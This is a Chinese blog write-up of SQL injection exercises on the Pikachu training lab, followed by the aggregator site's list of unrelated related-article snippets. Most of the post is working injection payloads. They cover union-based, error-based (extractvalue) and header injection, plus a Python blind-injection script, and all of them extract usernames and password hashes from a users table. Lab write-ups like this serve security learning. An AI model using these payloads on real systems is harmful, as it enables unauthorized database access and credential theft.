pikachu平台SQL注入

news2024/11/25 6:41:13

pikachu平台SQL注入

日常心累、速通pikachu注入相关


目录

  • pikachu平台SQL注入
    • 使用到的名词解释
    • 1. 数字型注入 --使用bp处理数据包
    • 2. 字符型注入 --hackbar处理
    • 3. 搜索型注入
    • 4. xx型注入
    • 5. insert/update注入
    • 6. delete注入
    • 7. http头注入
    • 8. 布尔盲注
    • 9. 时间盲注
    • 10. 宽字节注入


使用到的名词解释

mysql信息收集
数据库版本: version()
数据库用户: user()
数据库名字: database()
操作系统: @@version_compile_os
记录所有数据库、表、字段的数据库: information_schema
information_schema.tables : 表
information_schema.columns : 字段
table_name:表名
column_name:字段名

1. 数字型注入 --使用bp处理数据包

确认注入点
id=3 and 1=1&submit=%E6%9F%A5%E8%AF%A2

确认最大返回数
id=3 order by 2&submit=%E6%9F%A5%E8%AF%A2

联合查询返回数据库版本,操作系统等数据
id=3 union select version(),@@version_compile_os&submit=%E6%9F%A5%E8%AF%A2

查表
id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

查字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'&submit=%E6%9F%A5%E8%AF%A2

查看字段值
id=3 union select 1,group_concat(concat_ws('~',username,password)) from users&submit=%E6%9F%A5%E8%AF%

2. 字符型注入 --hackbar处理

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe'--+&submit=%E6%9F%A5%E8%AF%A2

由于是在同个数据库下,直接根据users表查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe' union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

3. 搜索型注入

简单的sql语句:SELECT * FROM user WHERE username LIKE '小%';

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe'--+&submit=%E6%90%9C%E7%B4%A2

直接查users字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe' union select 1,2,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%90%9C%E7%B4%A2

4. xx型注入

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe')--+&submit=%E6%9F%A5%E8%AF%A2

直接查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe') union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

5. insert/update注入

由于不是查询语句,可以使用报错查询
在注册页面:
用户:qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '
密码:随意
其余:随意

爆users字段
用户:' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
密码:随意
其余:随意
报错返回:XPATH syntax error: 'admin~e10adc3949ba59abbe56e057f'
请添加图片描述

6. delete注入

删除时使用BP抓包,PHP会调用delete语句,让他报错就行

注入点
id=77+or+extractvalue(1,concat(0x7e,(select(database()),0x7e))

查users表字段值
id=77+or+extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))

请添加图片描述

7. http头注入

注入点
Accept: qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '

查users中字段数据
Accept: ' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
请添加图片描述

8. 布尔盲注

注入点
先找一个存在的username,所以用系统给的kobe,这里通过异或运算来逻辑判断正确与失败
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^1--+

简单手工测试,这里测试数据库的第一个字符的ascii(根据前面已知数据库名为pikachu,故第一个字符为p,p的ascii码为112)
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>111)--+

http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>112)--+
发现第一个payload有返回结果,第二个payload没有返回结果,故可以通过爆破字段的ascii码来获取数据,所以开始写poc:

import requests
import time

url="http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and "
name=''

for i in range(1, 80):
    print(i)
    low = 31
    high = 127
    mid=(low + high) // 2
    while low < high:
        #payload = "0^(ascii(substr((select(database())),%d,1))>%d)--+" % (i, mid)
        #payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)--+"%(i, mid)
        #payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)--+"%(i, mid)
        payload = "0^(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d)--+"%(i, mid)

        r = requests.get(url + payload)
        print(url + payload)
        if 'kobe' in r.text:   #kobe为文章内容,一旦正常返回,则字符爆破正确
            low = mid+1
        else:
            high=mid
        mid = (low + high) // 2
        if(mid == 32):
            break
    name = name + chr(mid)
    print (name)

请添加图片描述

9. 时间盲注

暂时不写,主要POC想想怎么写

10. 宽字节注入

name=kobe%df' union select 1,group_concat(username,password) from users--+&submit=%E6%9F%A5%E8%AF%A2
请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/52438.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MYSQL 事务、事务隔离级别和MVCC,幻读

快照读和当前读 快照读&#xff1a;快照读就是读取的是快照数据&#xff0c;不加锁的普通 SELECT 都属于快照读。如下面语句&#xff1a; select * from table where ..... 当前读:当前读就是读的是最新数据&#xff0c;而不是历史的数据&#xff0c;加锁的 SELECT&#xff0c…

八、Nacos服务注册和配置中心

SpringCloud Alibaba Nacos服务注册和配置中心 Nacos简介 为什么叫Nacos 前四个字母分别为Naming和Configuration的前两个字母&#xff0c;最后的s为Service 是什么 一个更易于构建云原生应用的动态服务发现&#xff0c;配置管理和服务管理中心 Nacos&#xff1a;Dynamic…

微信

引言&#xff1a;微信必不可少&#xff0c;但用着用着 C 盘内存飙升&#xff0c;不知如何解决&#xff1f;这篇博文来帮你 文章目录一、安装微信二、微信文件默认保存位置的更改三、WeChat Files 有什么&#xff1f;一、安装微信 下载之前先在 D 盘&#xff08;除了 C 盘就行&…

Android Profiler入门与实践

1、内存分析 点击MEMORY&#xff0c;可以看到正在运行进程的各种内存使用情况 Tips&#xff1a;点击右上角的垃圾桶图标会触发强制gc 1.1、查看Java堆内存和Java实例 执行以下代码&#xff1a; 说明&#xff1a;list为MainActivity的全局变量&#xff0c;所以list的只有在M…

数据结构和算法——基于Java——4.1栈(数组实现栈、链表实现栈)

理论补充 先进后出 FILO&#xff08;First-Input-Last-Out&#xff09;的有序列表&#xff0c;限制线性表中元素的插入和删除只能在线性表的同一端进行 栈顶&#xff1a;变化的一端栈底:固定的一端 代码实现 2.1 数组模拟栈 package com.b0.stack;import java.util.Scanner…

[附源码]Python计算机毕业设计SSM考研信息共享博客系统(程序+LW)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

为ubuntu配置WiFi

1.前提条件 ubuntu不论什么版本&#xff0c;如果想要正常使用wifi&#xff0c;必须在电脑的bios中把secure boot设定为disable 2.快捷指令&#xff08;WiFi相关的常用命令行指令&#xff09; 2.1查看电脑连接的蓝牙和网卡设备 rfkill list all0: hci0: Bluetooth 这个是我电…

79. 单词搜索

79. 单词搜索 给定一个 m x n 二维字符网格 board 和一个字符串单词 word 。如果 word 存在于网格中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 单词必须按照字母顺序&#xff0c;通过相邻的单元格内的字母构成&#xff0c;其中“相邻”单元格是那些水…

微服务单元测试策略

欢迎关注公众号:TestingStudio,学习更多测试开发必备技能 单元测试对应用程序中最小的可测试软件进行测试&#xff0c;以确定其行为是否如预期的那样。 被测试单元的大小没有严格定义&#xff0c;但是单元测试通常是在类级别或围绕一小组相关的类编写的。被测试的单元越小&…

STM32实战总结:HAL之IAP

我们学习单片机一般都是从51开始的&#xff0c;51单片机烧录程序通常是使用烧录软件如STC-ISP。这种方式&#xff0c;通过串口连接单片机&#xff0c;选择一个合适的波特率就可以烧录了。 后来学习STM32&#xff0c;编程时使用KEIL软件自带的下载按钮就能下载程序&#xff0c;方…

09-13-Hbase-shell入门操作

09-Hbase-shell入门操作&#xff1a; HBase Shell 操作 DDL基本操作 1&#xff0e;进入 HBase 客户端命令行 [roothadoop102 hbase-1.3.1]# bin/hbase shell 2&#xff0e;查看帮助命令 hbase(main):001:0> help 3&#xff0e;查看当前数据库中有哪些表 hbase(main):0…

大数据 | Hadoop、Hive、Spark的关系

文章总括图 数据存储 单机数据库时代 所有数据在单机都能存的下&#xff0c;数据处理的任务都是IO密集型&#xff0c;更谈不上分布式系统 一个典型的2U服务器可以插6块硬盘&#xff0c;每块硬盘4T&#xff0c;共24T原始容量&#xff0c;再加上一些数据包的可用冗余&#xf…

22081-12-1 cortex-M4核中断和串口通信实验的结合

1、实验要求&#xff1a;按键触发时&#xff0c;LED灯状态取反&#xff0c;并在串口工具打印一句话 eg&#xff1a;KEY1按键按下&#xff0c;LED1状态取反&#xff0c;串口工具打印key1 down&#xff01; 重点代码如下&#xff1a; //gpio.c void HAL_GPIO_EXTI_Falling_Cal…

全程软件自动化测试

软件自动化测试的概念 “什么是软件自动化测试&#xff1f;”也许很多人的回答是&#xff1a;“使用自动化测试工具或者编写自动化脚本来自动化测试软件”&#xff0c;还有一些权威网站&#xff0c;比如 WikiPedia 是这样定义的&#xff1a; “在软件测试中&#xff0c;自动化…

IDEA2020.3.3创建Java web工程时找不到Java Enterprise

最近在学习使用IDEA进行java web开发&#xff0c;然后在创建的时候找不到Java Enterprise,如下图&#xff1a; 解决办法&#xff1a; 可以新建一个java项目&#xff0c;再将这个项目升级成javaweb项目即可 新建一个javaweb的java项目&#xff0c;右键选择Add Framework Suppo…

Spring Cloud教程 第十一弹 Spring Cloud Config连接git和数据库

Spring Cloud Config1、什么是Spring Cloud Config?2、EnvironmentRepository抽象3、实战&#xff1a;使用git作为配置源1、搭建config server2、搭建config client3、config server HTTP接口4、实战&#xff1a;使用数据库作为配置源5、实战&#xff1a;复合配置源1、什么是S…

Ajax访问本地服务器案例

1.首先我们需要两个文件夹 2.我们先从服务器开始&#xff0c;此处我们搭建一个express服务器 用vscode打开express文件夹&#xff0c;打开终端 先执行 npm init 初始化项目&#xff08;此处可以一直回车&#xff0c;直到出现新的可操作终端为止&#xff09; 3.终端中输入 npm…

GEE开发之Modis_GPP数据分析和获取

GEE开发之Modis_GPP数据分析和获取1.GPP2.MOD系列和MYD系列区别3.MOD17A2H(500m/8天)4.MYD17A2H(500m/8天)4.1 MYD17A2H下的指数4.2 遥感影像查看5.GPP日数据下载(以MYD17A2H为例)6.GPP月数据下载(以MYD17A2H为例)7.GPP年数据下载(以MYD17A2H为例)前言&#xff1a;主要介绍利用…

谷歌浏览器

引言&#xff1a;众所周知&#xff0c;一个好的浏览器可以提高我们的工作效率&#xff0c;那么今天教大家如何安装超 nice 的浏览器 —— 谷歌浏览器 文章目录一、安装谷歌浏览器二、修改谷歌浏览器搜索引擎三、修改谷歌浏览器默认下载位置一、安装谷歌浏览器 打开&#x1f5b…

R语言在逻辑回归中求R square R方

并非所有结果/因变量都可以使用线性回归进行合理建模。也许第二种最常见的回归模型是逻辑回归&#xff0c;它适用于二元结果数据。最近我们被客户要求撰写关于逻辑回归的研究报告&#xff0c;包括一些图形和统计输出。如何计算逻辑回归模型的R平方&#xff1f; 相关视频&…